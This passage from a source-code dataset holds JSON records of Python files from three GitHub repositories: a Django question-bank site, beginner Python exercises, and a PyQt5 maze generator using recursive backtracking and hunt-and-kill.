name='home'),\\n url(r'^home/', home, name='home'),\\n url(r'^questions/', include('questions.urls')),\\n url(r'^discussions/', include('discussions.urls')),\\n url(r'^lessons/', include('lessons.urls')),\\n url(r'^admin/', include(admin.site.urls)),\\n)\\n\\nif settings.DEBUG:\\n urlpatterns += patterns('',\\n (r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),\\n )\"\n },\n {\n \"alpha_fraction\": 0.6619718074798584,\n \"alphanum_fraction\": 0.67136150598526,\n \"avg_line_length\": 29.571428298950195,\n \"blob_id\": \"376d4ea395df25a9f90bc0920a36095c5b601034\",\n \"content_id\": \"5ae014109153c666934454a4a41973ccfd56c61d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 213,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 7,\n \"path\": \"/discussions/urls.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.conf.urls import url\\nfrom discussions import views\\n\\nurlpatterns = [\\n url(r'^$', views.index, name='index'),\\n url(r'^(?P<discussion_id>[0-9]+)/$', views.thread_template, name='thread_template'),\\n]\"\n },\n {\n \"alpha_fraction\": 0.6199365854263306,\n \"alphanum_fraction\": 0.6248679161071777,\n \"avg_line_length\": 31.272727966308594,\n \"blob_id\": \"030f5939d96b1528ffa91f28b8a31e1ccb3315a0\",\n \"content_id\": \"c6aed0086705c70e29e5787074fd0e2e74426230\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2839,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 88,\n \"path\": \"/discussions/models.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\nfrom django.db import models\\nfrom django import forms\\nfrom django.contrib.auth.models import User\\n\\n\\nclass ThreadForm(forms.Form):\\n # Attach to view for users to create a thread\\n def __init__(self, request):\\n from questions.models import Question\\n self.fields = (\\n forms.CharField(field_name=\\\"Title\\\", maxlength=128, is_required=True),\\n forms.ChoiceField(field_name=\\\"Subject\\\", choices=Question.SUBJECTS)\\n )\\n self.request = request\\n\\n def save(self, new_data):\\n return Thread.objects.create_thread(\\n self.request.user, new_data['Title'], new_data['Subject'])\\n\\n\\nclass ThreadManager(models.Manager):\\n def create_thread(self, user, title, subject=None):\\n new_thread = self.model(title=title, creator=user,\\n upvotes=0, downvotes=0, date=datetime.today())\\n new_thread.save()\\n return new_thread\\n\\n\\nclass Thread(models.Model):\\n creator = models.ForeignKey(User)\\n title = models.CharField(max_length=128)\\n upvotes = models.PositiveSmallIntegerField()\\n downvotes = models.PositiveSmallIntegerField()\\n date = models.DateTimeField(editable=False)\\n\\n objects = ThreadManager()\\n\\n def __str__(self):\\n return self.title + \\\" (\\\" + str(self.creator) + \\\")\\\"\\n\\n def save(self):\\n if not self.id:\\n self.date = datetime.today()\\n super(Thread, self).save()\\n\\n\\nclass CommentForm(forms.Form):\\n # Attach to view for users to comment\\n def __init__(self, request):\\n self.fields = (\\n forms.TextField(field_name=\\\"Comment\\\"),\\n forms.ModelChoiceField(field_name=\\\"Thread\\\",\\n queryset=Thread.objects.all()),\\n )\\n self.request = request\\n\\n def save(self, new_data):\\n return Comment.objects.create_comment(\\n self.request.user, new_data['Comment'], new_data['Thread'])\\n\\n\\nclass CommentManager(models.Manager):\\n def create_comment(self, user, comment_text, thread):\\n new_comment = self.model(comment_text=comment_text, creator=user,\\n thread=thread, upvotes=0, downvotes=0,\\n date=datetime.today())\\n new_comment.save()\\n return new_comment\\n\\n\\nclass Comment(models.Model):\\n comment_text = models.TextField()\\n creator = models.ForeignKey(User)\\n thread = models.ForeignKey(Thread)\\n upvotes = models.PositiveSmallIntegerField()\\n downvotes = models.PositiveSmallIntegerField()\\n date = models.DateTimeField(editable=False)\\n\\n objects = CommentManager()\\n\\n def __str__(self):\\n return self.creator.username[:20] + \\\": \\\" + self.comment_text[:40]\\n\\n def save(self):\\n if not self.id:\\n self.date = datetime.today()\\n super(Comment, self).save()\"\n },\n {\n \"alpha_fraction\": 0.5639344453811646,\n \"alphanum_fraction\": 0.5792349576950073,\n \"avg_line_length\": 27.59375,\n \"blob_id\": \"9f4114390f53bbcceac5fff7bee183a5a4085f02\",\n \"content_id\": \"8793a7392b3f01b2c8ec4541d5065db58bfa89c2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 915,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 32,\n \"path\": \"/lessons/migrations/0002_auto_20141126_0140.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# encoding: utf8\\nfrom django.db import models, migrations\\nfrom django.conf import settings\\nimport datetime\\nfrom django.contrib.auth.models import User\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('lessons', '0001_initial'),\\n ]\\n\\n operations = [\\n migrations.RenameField(\\n model_name='lesson',\\n old_name='lesson_name',\\n new_name='title',\\n ),\\n # migrations.AddField(\\n # model_name='lesson',\\n # name='creator',\\n # field=models.ForeignKey(to=settings.AUTH_USER_MODEL, default=User.objects.get(id=1), to_field=u'id'),\\n # preserve_default=False,\\n # ),\\n migrations.AddField(\\n model_name='lesson',\\n name='date',\\n field=models.DateTimeField(default=datetime.date(2014, 11, 26), editable=False),\\n preserve_default=False,\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.6202898621559143,\n \"alphanum_fraction\": 0.626086950302124,\n \"avg_line_length\": 27.79166603088379,\n \"blob_id\": \"a50def7dbb2a6b6213c3e672bae49ae1a2d10526\",\n \"content_id\": \"66756e21cc29f478222e73cb8405f396fef34bea\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 690,\n \"license_type\": \"no_license\",\n \"max_line_length\": 76,\n \"num_lines\": 24,\n \"path\": \"/lessons/models.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\nfrom django.db import models\\n\\n\\nclass LessonManager(models.Manager):\\n def create_lesson(self, user, title, text, subject=None):\\n new_lesson = self.model(title=title, creator=user, lesson_text=text,\\n date=datetime.today())\\n new_lesson.save()\\n return new_lesson\\n\\n\\nclass Lesson(models.Model):\\n title = models.CharField(max_length=64, default=\\\"\\\")\\n lesson_text = models.TextField()\\n date = models.DateTimeField(editable=False)\\n\\n def __str__(self):\\n return self.title[:50]\\n\\n def save(self):\\n if not self.id:\\n self.date = datetime.today()\\n super(Lesson, self).save()\"\n },\n {\n \"alpha_fraction\": 0.8235294222831726,\n \"alphanum_fraction\": 0.8235294222831726,\n \"avg_line_length\": 29,\n \"blob_id\": \"1f0fe95185fac288e6fe3cf1f8abea3972b3ea47\",\n \"content_id\": \"e8f926726f703e64fdb9999bf2ff8b91618e6d37\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 119,\n \"license_type\": \"no_license\",\n \"max_line_length\": 46,\n \"num_lines\": 4,\n \"path\": \"/discussions/admin.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.contrib import admin\\nfrom discussions.models import Thread, Comment\\n\\nadmin.site.register([Thread, Comment])\"\n },\n {\n \"alpha_fraction\": 0.722347617149353,\n \"alphanum_fraction\": 0.7358916401863098,\n \"avg_line_length\": 33.153846740722656,\n \"blob_id\": \"84813ecf07c8a6ab2d32556c558e6369bfa540c4\",\n \"content_id\": \"bc8982089e843504600b4135e18f329d6efe6999\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 443,\n \"license_type\": \"no_license\",\n \"max_line_length\": 79,\n \"num_lines\": 13,\n \"path\": \"/questions/views.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render, get_object_or_404\\nfrom questions.models import Question\\n\\n\\ndef index(request):\\n all_questions = Question.objects.all()\\n context = {'question_list': all_questions}\\n return render(request, 'questions/index.html', context)\\n\\n\\ndef question_template(request, question_id):\\n q = get_object_or_404(Question, id=question_id)\\n return render(request, 'questions/question_template.html', {'question': q})\"\n },\n {\n \"alpha_fraction\": 0.7036144733428955,\n \"alphanum_fraction\": 0.7180722951889038,\n \"avg_line_length\": 31,\n \"blob_id\": \"59e11b9612665fc2d50d031d0fcea868dc198e72\",\n \"content_id\": \"cedd53d7102a0f8fe7dc2b20cb02b255e6993140\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 415,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 13,\n \"path\": \"/lessons/views.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render, get_object_or_404\\nfrom lessons.models import Lesson\\n\\n\\ndef index(request):\\n all_lessons = Lesson.objects.all()\\n context = {'lesson_list': all_lessons}\\n return render(request, 'lessons/index.html', context)\\n\\n\\ndef lesson_template(request, lesson_id):\\n l = get_object_or_404(Lesson, id=lesson_id)\\n return render(request, 'lessons/lesson_template.html', {'lesson': l})\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":17,"string":"17"}}},{"rowIdx":2978359,"cells":{"repo_name":{"kind":"string","value":"Altahoma/python-learn"},"repo_url":{"kind":"string","value":"https://github.com/Altahoma/python-learn"},"snapshot_id":{"kind":"string","value":"340246ffd63f2c9f51b55b5535d321c1a1513437"},"revision_id":{"kind":"string","value":"0d3677f0a11de8428baa2b83746d2fc3437c2c6a"},"directory_id":{"kind":"string","value":"001b29a1c92cae4875ae128194d9177608ff73a9"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-19T20:29:07.516655","string":"2020-05-19T20:29:07.516655"},"revision_date":{"kind":"timestamp","value":"2019-05-12T12:13:53","string":"2019-05-12T12:13:53"},"committer_date":{"kind":"timestamp","value":"2019-05-12T12:13:53","string":"2019-05-12T12:13:53"},"github_id":{"kind":"number","value":185202286,"string":"185,202,286"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7702702879905701,"alphanum_fraction":0.7770270109176636,"avg_line_length":18.34782600402832,"blob_id":"fb2e6da32f6f7389fb0f2287859e91cf91692fc3","content_id":"9caa951ddf6b6a53253d08b6de4d2c66158ff823","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":444,"license_type":"no_license","max_line_length":46,"num_lines":23,"path":"/motorcycles.py","repo_name":"Altahoma/python-learn","src_encoding":"UTF-8","text":"motorcycles = ['honda', 'yamaha', 'suzuki']\nprint(motorcycles)\n\nmotorcycles.append('ducati')\nprint(motorcycles)\n\nmotorcycles.insert(0, 'bmw')\nprint(motorcycles)\n\ndel motorcycles[2]\nprint(motorcycles)\n\npoped_motorcycle = motorcycles.pop()\nprint(motorcycles)\nprint(poped_motorcycle)\n\nlast_owned = motorcycles.pop(-1)\nprint(motorcycles)\nprint(last_owned)\n\nremoved_motorcycle = motorcycles.remove('bmw')\nprint(motorcycles)\nprint(removed_motorcycle)"},{"alpha_fraction":0.6909090876579285,"alphanum_fraction":0.6909090876579285,"avg_line_length":55,"blob_id":"06ca741528db1515229363905902a9b92d413e13","content_id":"f10ba6f184d5c4f9e2fdaee9d38076c9dc7349e2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":55,"license_type":"no_license","max_line_length":55,"num_lines":1,"path":"/language_list.py","repo_name":"Altahoma/python-learn","src_encoding":"UTF-8","text":"print(\"Language:\\n\\tC\\n\\tC++\\n\\tJava\\n\\tPHP\\n\\tPython\")"},{"alpha_fraction":0.6352583765983582,"alphanum_fraction":0.6352583765983582,"avg_line_length":35.55555725097656,"blob_id":"36303be9870f7bea88dae7664cc4e9084a6b7c85","content_id":"fb7b8c81b8c6c59a27bb0297d4eda1ad30ebc9a2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":329,"license_type":"no_license","max_line_length":71,"num_lines":9,"path":"/pets.py","repo_name":"Altahoma/python-learn","src_encoding":"UTF-8","text":"def describe_pet(pet_name, animal_type='dog'):\n print(\"\\nI have a \" + animal_type + \".\")\n print(\"My \" + animal_type + \"'s name is \" + pet_name.title() + \".\")\n\n\ndescribe_pet('hamster', 'harry')\ndescribe_pet(animal_type='dog', pet_name='willie')\ndescribe_pet(pet_name='tomas', animal_type='cat')\ndescribe_pet(pet_name='Gav')\n"},{"alpha_fraction":0.6555555462837219,"alphanum_fraction":0.6555555462837219,"avg_line_length":20.235294342041016,"blob_id":"2df1be9d26738f40ef0f99361d2e08260cbb0e49","content_id":"f788c0f7480d379ebf9d9efea2b8ab583ea2d04a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":360,"license_type":"no_license","max_line_length":42,"num_lines":17,"path":"/file_reader.py","repo_name":"Altahoma/python-learn","src_encoding":"UTF-8","text":"with open('pi_digits.txt') as file_object:\n content = file_object.read()\n print(content)\n print()\n\nfilename = 'pi_digits.txt'\n\nwith open(filename) as file_object:\n for line in file_object:\n print(line.rstrip())\n print()\n\nwith open(filename) as file_object:\n lines = file_object.readlines()\n\nfor line in lines:\n print(line.rstrip())"},{"alpha_fraction":0.7052023410797119,"alphanum_fraction":0.7052023410797119,"avg_line_length":27.83333396911621,"blob_id":"d8076f370cd9a3fcd6ae53ac46e8936da308432a","content_id":"d2bdf65aa1c1c7c7e3792965b340ada245be7558","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":346,"license_type":"no_license","max_line_length":78,"num_lines":12,"path":"/favorite_languages.py","repo_name":"Altahoma/python-learn","src_encoding":"UTF-8","text":"from collections import OrderedDict\n\n\nfavorite_language = OrderedDict()\n\nfavorite_language['jen'] = 'python'\nfavorite_language['sarah'] = 'c'\nfavorite_language['edward'] = 'ruby'\nfavorite_language['phil'] = 'python'\n\nfor name, languages in favorite_language.items():\n print(name.title() + \"'s favorite language is \" + languages.title() + \".\")\n"},{"alpha_fraction":0.6428571343421936,"alphanum_fraction":0.7142857313156128,"avg_line_length":27.5,"blob_id":"fb2c320af279300bcfacbb08db7e54ad608ae1d5","content_id":"aa30662c0c1c5de7c743b386392c5f2680e94c5d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":56,"license_type":"no_license","max_line_length":36,"num_lines":2,"path":"/even_numbers.py","repo_name":"Altahoma/python-learn","src_encoding":"UTF-8","text":"even_numbers = list(range(0, 11, 2))\nprint(even_numbers)"},{"alpha_fraction":0.6060606241226196,"alphanum_fraction":0.7196969985961914,"avg_line_length":17.85714340209961,"blob_id":"0e348442a6accf9e52be9e51f217e1d37b48ec19","content_id":"fb72ffe2f4cfb9ee78369b7e5cd1c271c7e72158","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":132,"license_type":"no_license","max_line_length":23,"num_lines":7,"path":"/dimensions.py","repo_name":"Altahoma/python-learn","src_encoding":"UTF-8","text":"dimensions = (200, 50)\nprint(dimensions[0])\nprint(dimensions[1])\n\ndimensions = (150, 150)\nprint(dimensions[0])\nprint(dimensions[1])\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7702702879905701,\n \"alphanum_fraction\": 0.7770270109176636,\n \"avg_line_length\": 18.34782600402832,\n \"blob_id\": \"fb2e6da32f6f7389fb0f2287859e91cf91692fc3\",\n \"content_id\": \"9caa951ddf6b6a53253d08b6de4d2c66158ff823\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 444,\n \"license_type\": \"no_license\",\n \"max_line_length\": 46,\n \"num_lines\": 23,\n \"path\": \"/motorcycles.py\",\n \"repo_name\": \"Altahoma/python-learn\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"motorcycles = ['honda', 'yamaha', 'suzuki']\\nprint(motorcycles)\\n\\nmotorcycles.append('ducati')\\nprint(motorcycles)\\n\\nmotorcycles.insert(0, 'bmw')\\nprint(motorcycles)\\n\\ndel motorcycles[2]\\nprint(motorcycles)\\n\\npoped_motorcycle = motorcycles.pop()\\nprint(motorcycles)\\nprint(poped_motorcycle)\\n\\nlast_owned = motorcycles.pop(-1)\\nprint(motorcycles)\\nprint(last_owned)\\n\\nremoved_motorcycle = motorcycles.remove('bmw')\\nprint(motorcycles)\\nprint(removed_motorcycle)\"\n },\n {\n \"alpha_fraction\": 0.6909090876579285,\n \"alphanum_fraction\": 0.6909090876579285,\n \"avg_line_length\": 55,\n \"blob_id\": \"06ca741528db1515229363905902a9b92d413e13\",\n \"content_id\": \"f10ba6f184d5c4f9e2fdaee9d38076c9dc7349e2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 55,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 1,\n \"path\": \"/language_list.py\",\n \"repo_name\": \"Altahoma/python-learn\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print(\\\"Language:\\\\n\\\\tC\\\\n\\\\tC++\\\\n\\\\tJava\\\\n\\\\tPHP\\\\n\\\\tPython\\\")\"\n },\n {\n \"alpha_fraction\": 0.6352583765983582,\n \"alphanum_fraction\": 0.6352583765983582,\n \"avg_line_length\": 35.55555725097656,\n \"blob_id\": \"36303be9870f7bea88dae7664cc4e9084a6b7c85\",\n \"content_id\": \"fb7b8c81b8c6c59a27bb0297d4eda1ad30ebc9a2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 329,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 9,\n \"path\": \"/pets.py\",\n \"repo_name\": \"Altahoma/python-learn\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def describe_pet(pet_name, animal_type='dog'):\\n print(\\\"\\\\nI have a \\\" + animal_type + \\\".\\\")\\n print(\\\"My \\\" + animal_type + \\\"'s name is \\\" + pet_name.title() + \\\".\\\")\\n\\n\\ndescribe_pet('hamster', 'harry')\\ndescribe_pet(animal_type='dog', pet_name='willie')\\ndescribe_pet(pet_name='tomas', animal_type='cat')\\ndescribe_pet(pet_name='Gav')\\n\"\n },\n {\n \"alpha_fraction\": 0.6555555462837219,\n \"alphanum_fraction\": 0.6555555462837219,\n \"avg_line_length\": 20.235294342041016,\n \"blob_id\": \"2df1be9d26738f40ef0f99361d2e08260cbb0e49\",\n \"content_id\": \"f788c0f7480d379ebf9d9efea2b8ab583ea2d04a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 360,\n \"license_type\": \"no_license\",\n \"max_line_length\": 42,\n \"num_lines\": 17,\n \"path\": \"/file_reader.py\",\n \"repo_name\": \"Altahoma/python-learn\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"with open('pi_digits.txt') as file_object:\\n content = file_object.read()\\n print(content)\\n print()\\n\\nfilename = 'pi_digits.txt'\\n\\nwith open(filename) as file_object:\\n for line in file_object:\\n print(line.rstrip())\\n print()\\n\\nwith open(filename) as file_object:\\n lines = file_object.readlines()\\n\\nfor line in lines:\\n print(line.rstrip())\"\n },\n {\n \"alpha_fraction\": 0.7052023410797119,\n \"alphanum_fraction\": 0.7052023410797119,\n \"avg_line_length\": 27.83333396911621,\n \"blob_id\": \"d8076f370cd9a3fcd6ae53ac46e8936da308432a\",\n \"content_id\": \"d2bdf65aa1c1c7c7e3792965b340ada245be7558\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 346,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 12,\n \"path\": \"/favorite_languages.py\",\n \"repo_name\": \"Altahoma/python-learn\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from collections import OrderedDict\\n\\n\\nfavorite_language = OrderedDict()\\n\\nfavorite_language['jen'] = 'python'\\nfavorite_language['sarah'] = 'c'\\nfavorite_language['edward'] = 'ruby'\\nfavorite_language['phil'] = 'python'\\n\\nfor name, languages in favorite_language.items():\\n print(name.title() + \\\"'s favorite language is \\\" + languages.title() + \\\".\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.6428571343421936,\n \"alphanum_fraction\": 0.7142857313156128,\n \"avg_line_length\": 27.5,\n \"blob_id\": \"fb2c320af279300bcfacbb08db7e54ad608ae1d5\",\n \"content_id\": \"aa30662c0c1c5de7c743b386392c5f2680e94c5d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 56,\n \"license_type\": \"no_license\",\n \"max_line_length\": 36,\n \"num_lines\": 2,\n \"path\": \"/even_numbers.py\",\n \"repo_name\": \"Altahoma/python-learn\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"even_numbers = list(range(0, 11, 2))\\nprint(even_numbers)\"\n },\n {\n \"alpha_fraction\": 0.6060606241226196,\n \"alphanum_fraction\": 0.7196969985961914,\n \"avg_line_length\": 17.85714340209961,\n \"blob_id\": \"0e348442a6accf9e52be9e51f217e1d37b48ec19\",\n \"content_id\": \"fb72ffe2f4cfb9ee78369b7e5cd1c271c7e72158\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 132,\n \"license_type\": \"no_license\",\n \"max_line_length\": 23,\n \"num_lines\": 7,\n \"path\": \"/dimensions.py\",\n \"repo_name\": \"Altahoma/python-learn\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"dimensions = (200, 50)\\nprint(dimensions[0])\\nprint(dimensions[1])\\n\\ndimensions = (150, 150)\\nprint(dimensions[0])\\nprint(dimensions[1])\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":7,"string":"7"}}},{"rowIdx":2978360,"cells":{"repo_name":{"kind":"string","value":"ransaked1/MazeMaker"},"repo_url":{"kind":"string","value":"https://github.com/ransaked1/MazeMaker"},"snapshot_id":{"kind":"string","value":"bb33f7a539f8679677dff3cb431b11061af7b62c"},"revision_id":{"kind":"string","value":"69ffb3fd273e38764f59f1d5d41a14fbec396d4c"},"directory_id":{"kind":"string","value":"625dde4dff604eeff3bf5656009bf78e9226af28"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-05-28T04:42:06.540898","string":"2022-05-28T04:42:06.540898"},"revision_date":{"kind":"timestamp","value":"2020-05-02T10:54:26","string":"2020-05-02T10:54:26"},"committer_date":{"kind":"timestamp","value":"2020-05-02T10:54:26","string":"2020-05-02T10:54:26"},"github_id":{"kind":"number","value":260662797,"string":"260,662,797"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5107104778289795,"alphanum_fraction":0.5312590599060059,"avg_line_length":33.97288131713867,"blob_id":"698cd9c438d5de9b08cffebf89639e40ef657cb2","content_id":"6622c9e357c259b41756b97efaa16ed77521be7e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":10317,"license_type":"no_license","max_line_length":96,"num_lines":295,"path":"/mazemaker.py","repo_name":"ransaked1/MazeMaker","src_encoding":"UTF-8","text":"import sys\nimport random\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\n#defining values for each direction in the maze\nN,S,E,W = 1,2,4,8\n\n#defining macro to reverse directions\nREVERSE = {E: W, W: E, N: S, S: N}\n\n#GUI object for the app\nclass MazeMakerGUI(QWidget):\n\n def __init__(self):\n super(MazeMakerGUI, self).__init__()\n\n #initializing variables and setting recursion limit\n self.mazeHeight = 0\n self.mazeWidth = 0\n \n sys.setrecursionlimit(35 * 45)\n\n self.maze = list(list(0 for i in range(self.mazeWidth)) for j in range(self.mazeHeight))\n\n #initializing UI\n self.initUI()\n\n #drawing the GUI and maze\n def paintEvent(self, event):\n\n #initializing the painter and fonts\n qp = QPainter()\n qp.begin(gui)\n pen = QPen(Qt.black, 3, Qt.SolidLine)\n qp.setPen(pen)\n qp.setFont(QFont('Decorative', 22))\n \n qp.drawText(868, 86, \"x\")\n\n #drawing the box around the maze output\n qp.drawLine(55, 615, 55, 55)\n qp.drawLine(780, 615, 780, 55)\n qp.drawLine(55, 53, 780, 53)\n qp.drawLine(55, 615, 780, 615)\n\n\n #drawing the maze\n drawWidth = 80\n drawHeight = 70\n #drawing the top line\n for i in range(self.mazeWidth):\n qp.drawLine(drawWidth,drawHeight,drawWidth + 15,drawHeight)\n drawWidth += 15\n #drawing the rest of the maze\n for j in range(self.mazeHeight):\n drawWidth = 80\n drawHeight += 15\n #drawing the left wall of the maze\n if j != 0:\n qp.drawLine(drawWidth, drawHeight, drawWidth, drawHeight - 15)\n for i in range(self.mazeWidth ):\n #leave gap if there is no wall to the south else draw south most wall \n if self.maze[j][i] & S != 0:\n drawWidth += 15\n else:\n qp.drawLine(drawWidth,drawHeight,drawWidth + 15,drawHeight)\n drawWidth += 15\n #don't do anything if at the west most wall\n if self.maze[j][i] & E != 0 and i + 1 < self.mazeWidth:\n if (self.maze[j][i] | self.maze[j][i+1]) & S == 0:\n drawWidth += 0\n #don't draw to the west if at exit\n elif (i == self.mazeWidth-1) & (j == self.mazeHeight-1):\n drawWidth += 15\n #draw wall to the west\n else:\n qp.drawLine(drawWidth, drawHeight, drawWidth, drawHeight - 15)\n\n qp.end()\n \n\n #generating the UI\n def initUI(self):\n\n #initializing app window\n self.setGeometry(30, 30, 980, 670)\n self.setWindowTitle('Maze Maker')\n\n #initializing boxes for maze size input\n self.boxWidth = QLineEdit(self)\n self.boxWidth.move(830, 70)\n self.boxWidth.resize(30,20)\n\n self.boxHeight = QLineEdit(self)\n self.boxHeight.move(890, 70)\n self.boxHeight.resize(30,20)\n\n #initializing button for maze generation\n self.generateButton = QPushButton('Generate maze with RecB', self)\n self.generateButton.move(817,100)\n\n self.generateButton1 = QPushButton('Generate maze with HnK', self)\n self.generateButton1.move(819,130)\n\n self.generateButton.clicked.connect(self.on_click)\n self.generateButton1.clicked.connect(self.on_click1)\n\n #drawing all the UI components\n self.show()\n\n def on_click(self):\n #checking input\n inputWidth = self.boxWidth.text()\n inputHeight = self.boxHeight.text()\n \n try:\n self.mazeWidth = int(inputWidth)\n self.mazeHeight = int(inputHeight)\n except:\n QMessageBox.about(self, 'Error','Maze size input can only be a number')\n return\n pass\n\n if (self.mazeWidth > 45 or self.mazeHeight > 35):\n QMessageBox.about(self, 'Error','Maze size has to be less than 45 x 35')\n return\n\n if (self.mazeWidth < 3 and self.mazeHeight < 3):\n QMessageBox.about(self, 'Error','Maze size has to be more than 2 x 3 or 3 x 2')\n return\n\n #generating bidimensional array for the maze and building it\n self.maze = list(list(0 for i in range(self.mazeWidth)) for j in range(self.mazeHeight))\n self.buildMazeRecBack(0, 0)\n\n #updating the screen\n self.update()\n\n def on_click1(self):\n #checking input\n inputWidth = self.boxWidth.text()\n inputHeight = self.boxHeight.text()\n \n try:\n self.mazeWidth = int(inputWidth)\n self.mazeHeight = int(inputHeight)\n except:\n QMessageBox.about(self, 'Error','Maze size input can only be a number')\n return\n pass\n\n if (self.mazeWidth > 45 or self.mazeHeight > 35):\n QMessageBox.about(self, 'Error','Maze size has to be less than 45 x 35')\n return\n\n if (self.mazeWidth < 3 and self.mazeHeight < 3):\n QMessageBox.about(self, 'Error','Maze size has to be more than 2 x 3 or 3 x 2')\n return\n\n #generating bidimensional array for the maze and building it\n self.maze = list(list(0 for i in range(self.mazeWidth)) for j in range(self.mazeHeight))\n\n #Hunt and kill driver code\n y = 0\n x = 0\n while x != -1:\n started = 1\n while 1:\n try: \n y, x = self.walk(y,x, started)\n started = 0\n except:\n break\n x, y = self.hunt()\n\n #updating the screen\n self.update()\n\n #Recursive backtracking algorithm\n def buildMazeRecBack(self, originX, originY):\n #generate rendom list of all 4 directions\n directions = random.sample([N,S,E,W], 4)\n\n #loop through the list\n for direction in directions:\n #convert direction into maze coordinates\n if direction == S:\n nextX, nextY = originX, originY + 1\n elif direction == N:\n nextX, nextY = originX, originY - 1\n elif direction == E:\n nextX, nextY = originX + 1, originY\n else:\n nextX, nextY = originX - 1, originY\n\n #check if there is a cell to go to and break the wall there\n if nextY in range(self.mazeHeight) and\\\n (nextX in range(self.mazeWidth)) and\\\n self.maze[nextY][nextX] == 0:\n self.maze[originY][originX] |= direction\n self.maze[nextY][nextX] |= REVERSE[direction]\n #do that recursively\n self.buildMazeRecBack(nextX, nextY)\n\n #Walk routine for Hunt and Kill\n def 